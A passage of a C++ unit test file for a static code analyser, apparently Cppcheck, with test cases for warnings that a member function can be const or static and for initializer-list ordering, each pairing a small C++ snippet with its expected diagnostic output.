\"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n 